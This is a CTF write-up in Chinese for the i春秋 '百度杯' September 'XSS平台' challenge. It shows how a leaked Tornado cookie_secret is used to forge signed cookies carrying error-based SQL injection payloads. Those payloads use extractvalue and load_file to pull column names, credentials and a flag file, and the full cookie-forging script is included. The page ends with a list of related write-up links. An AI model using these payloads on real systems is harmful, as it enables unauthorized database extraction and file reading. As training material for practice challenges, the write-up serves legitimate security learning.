i春秋CTF-“百度杯”CTF比赛 九月场 XSS平台
“百度杯“CTF比赛 九月场
###XSS平台
看了别人的wp才知道这里需要变数组引起报错然后百度信息收集,这一步在实战中我觉得是很有作用的,get到。

这里取百度rtiny,看别人wp上说这里是因为前面的目录很正常,这个rtiny看起来有问题,就去百度。。
百度第一栏直接拿下源码,接下来就是代码审计。这几天做题老是遇到pythonweb框架的服务器,所以直接去康啦康教程
这里直接推荐一篇文章 http://shouce.jb51.net/tornado/
代码审计 这里因为之前就看了别人的wp 所以我知道问题出现在lock.py里面哈哈哈

Username 和passwd都没坐什么过滤 直接带入数据库查询

这是定义的ct

组合起来语句就是
Select * from manager where username='' and password=''
Username来自cookie 但是cookie被加密过


在username处构造报错注入
在index.py里面有那一段参数
"cookie_secret": "M0ehO260Qm2dD/MQFYfczYpUbJoyrkp6qYoI2hRw2jc="
拿来加密我们构造的cookie
脚本
import tornado.web
import tornado.ioloop settings={
"cookie_secret":"M0ehO260Qm2dD/MQFYfczYpUbJoyrkp6qYoI2hRw2jc="
}
class IndexHandler(tornado.web.RequestHandler):
def get(self):
self.write("helloword")
#self.set_secure_cookie("username","' and extractvalue(1,concat(0x5c,(select group_concat(distinct column_name) from information_schema.columns where table_schema=database() and table_name='manager')))-- ")
#self.set_secure_cookie("username","' and extractvalue(1,concat(0x5c,mid((select group_concat(username,'|',password,'|',email) from manager),30,62))) -- ")
#self.set_secure_cookie("username", "' and extractvalue(1,concat(0x5c,(select load_file('/var/www/html/f13g_ls_here.txt'))))#")
self.set_secure_cookie("username","' and extractvalue(1,concat(0x5c,mid((select load_file('/var/www/html/f13g_ls_here.txt')),28,60)))#")
self.write(self.get_secure_cookie("username")) if __name__ == "__main__":
app=tornado.web.Application(
[
(r"/",IndexHandler),
],**settings
)
app.listen(8000)
tornado.ioloop.IOLoop.current().start()
运行这个脚本,之后在火狐中访问127.0.0.1:8000 然后拿到cookie,然后带到lock访问 运行脚本直接用cmd python+脚本名 //这里如果看不懂就回去看看tornado
这里 burp抓包一定要先抓取访问题目页面 ,再去把login改为lock才会返回报错,我实在不理解是为什么,暂时理解为是login.py 页面本身可以引起报错,所以这里才会使用报错注入,或者是从login页面进去带了几个参数

接下来就跑列名 有三列 账号密码和邮箱
注意中间有长度限制 拿字段的时候要用到mid()分割
self.set_secure_cookie("username","' and extractvalue(1,concat(0x5c,mid((select group_concat(username,'|',password,'|',email) from manager),30,62))) -- ")
单然也可以一列一列的跑这里我是参照别人的脚本的语句 但是都是报错注入
拿到
ichuqiu|318a61264482e503090facfc4337207f|545
账号 ichuqiu
密码 拿去MD5 解密得到 Myxss623
登陆进去 再输入一次密码 得到后台
看到文件提示

目录猜测应该联想之前报错
目录在
/var/www/html/
报错的目录的上级目录 //我只能说信息收集太重要了
接下来用load_file拿到答案 当然也有长度限制 也用mid()
flag{774e6d00-3b97-46a3-99ea-b44805ba3b27}
i春秋CTF-“百度杯”CTF比赛 九月场 XSS平台的更多相关文章
- [i春秋]“百度杯”CTF比赛 十月场-Hash
前言 涉及知识点:反序列化.代码执行.命令执行 题目来自:i春秋 hash 如果i春秋题目有问题可以登录榆林学院信息安全协会CTF平台使用 或者利用本文章提供的源码自主复现 [i春秋]"百 ...
- "百度杯"CTF比赛 十月场——EXEC
"百度杯"CTF比赛 十月场--EXEC 进入网站页面 查看源码 发现了vim,可能是vim泄露,于是在url地址输入了http://21b854b211034489a4ee1cb ...
- ctf百度杯十二月场what_the_fuck(一口盐汽水提供的答案)
目录 漏洞利用原理 具体利用步骤 漏洞利用原理 read(, &s, 0x20uLL); if ( strstr(&s, "%p") || strstr(& ...
- “百度杯”CTF比赛 十二月场_blog(kindeditor编辑器遍历,insert注入,文件包含)
题目在i春秋的ctf训练营中能找到 首先先是一个用户登录与注册界面,一般有注册界面的都是要先让你注册一波,然后找惊喜的 那我就顺着他的意思去注册一个号 注册了一个123用户登录进来看到有个文本编辑器, ...
- “百度杯”CTF比赛 2017 二月场(Misc Web)
爆破-1: 打开链接,是502 我直接在后面加个变量传参数:?a=1 出了一段代码 var_dump()函数中,用了$$a,可能用了超全局变量GLOBALS 给hello参数传个GLOBALS 得到f ...
- 百度杯CTF夺旗大赛9月场writeup
在i春秋上注册了账号,准备业余时间玩玩CTF.其中的九月场已经打完了,但是不妨碍我去做做题,现在将一些思路分享一下. 一. 第二场web SQL 根据题目来看是一个SQL注入的题目: 这里推荐两篇文章 ...
- i春秋——“百度杯”CTF比赛 九月场——Test(海洋cms / seacms 任意代码执行漏洞)
打开发现是海洋cms,那就搜索相关漏洞 找到一篇介绍海洋cms的命令执行漏洞的文章:https://www.jianshu.com/p/ebf156afda49 直接利用其中给出的poc /searc ...
- i春秋——“百度杯”CTF比赛 九月场——123(Apache解析pht,phtml,php3,phps等 php别名)
网页源码提示用户信息在user.php中,直接访问是不会有显示的,于是查找相应的备份文件,vim交换文件等,最后发现/user.php.bak 用burp采用如下配置开始爆破 最后爆破出两个账号 登录 ...
- “百度杯”CTF比赛 九月场_YeserCMS
题目在i春秋ctf大本营 题目的提示并没有什么卵用,打开链接发现其实是easycms,百度可以查到许多通用漏洞 这里我利用的是无限报错注入 访问url/celive/live/header.php,直 ...
随机推荐
- Gatech OMSCS的申请和学习之奥妙
https://zhuanlan.zhihu.com/p/54680585 我写东西一向希望能给大家带来正能量,提供有价值的信息,不辱没母校的厚德价值观. 我是传统没落工科毕业后开发软件,但是一直没下 ...
- git设置多账户
1.设置公司gitlab 0.先给git 设置一个全局的账户, 如果是公司的电脑环境, 全局的账户当然是用你在公司的邮箱了 git config --global user.name "yo ...
- liteos分散加载(十四)
1. 概述 1.1 基本概念 分散加载是一种实现特定代码快速启动的技术,通过优先加载特定代码到内存,达到缩短从系统开机到特定代码执行的时间.可被应用来实现关键业务的快速启动. 嵌入式系统通过uboot ...
- poppler
https://github.com/freedesktop/poppler http://www.openjpeg.org/ https://github.com/uclouvain/openjpe ...
- luoguP3531 [POI2012]LIT-Letters
(https://www.luogu.org/problem/P3531) 注意编号 #include<cstdio> #include<algorithm> #include ...
- 8.gitlab 邮件设置
这个我没做实验. 视屏里面说的 126的 邮箱限制少点. 建议用126的 邮箱. 参考视屏 jenkins+gitlab+插件\1\7(07-gitlab备份恢复) 最后的一点部分. 需要在配 ...
- Jenkins如何集成运行testng.xml文件的解决方案
前言: 在我们使用maven+testng+restassured+reportng实现接口测试框架时,会发现在本机创建项目,进行一些pom引用和简单的封装后,很快就可以直接利用idea自带的test ...
- github 入门教程之 github 访问速度太慢怎么办
github 是全世界最流行的开源项目托管平台,其代表的开源文化从根本上改变了软件开发的方式. 基本上所有的需求都能从 github 上或多或少找到现成的实现方案,再也不用重头开始造轮子而是自定义轮子 ...
- NOIP模拟赛2(two)
题目描述 Description 很久很久很久以前,方方方造了一台计算机,计算机中开始有一个数 \(0\) .方方方想要让这个数变成 \(a\) ,他打算每次选择一个整数,把计算机中当前的数按位或上这 ...
- A1101 Quick Sort (25 分)
一.技术总结 这里的一个关键就是理解调换位置排序是时,如果是元主,那么它要确保的条件就只有两个一个是,自己的位置不变,还有就是前面的元素不能有比自己大的. 二.参考代码 #include<ios ...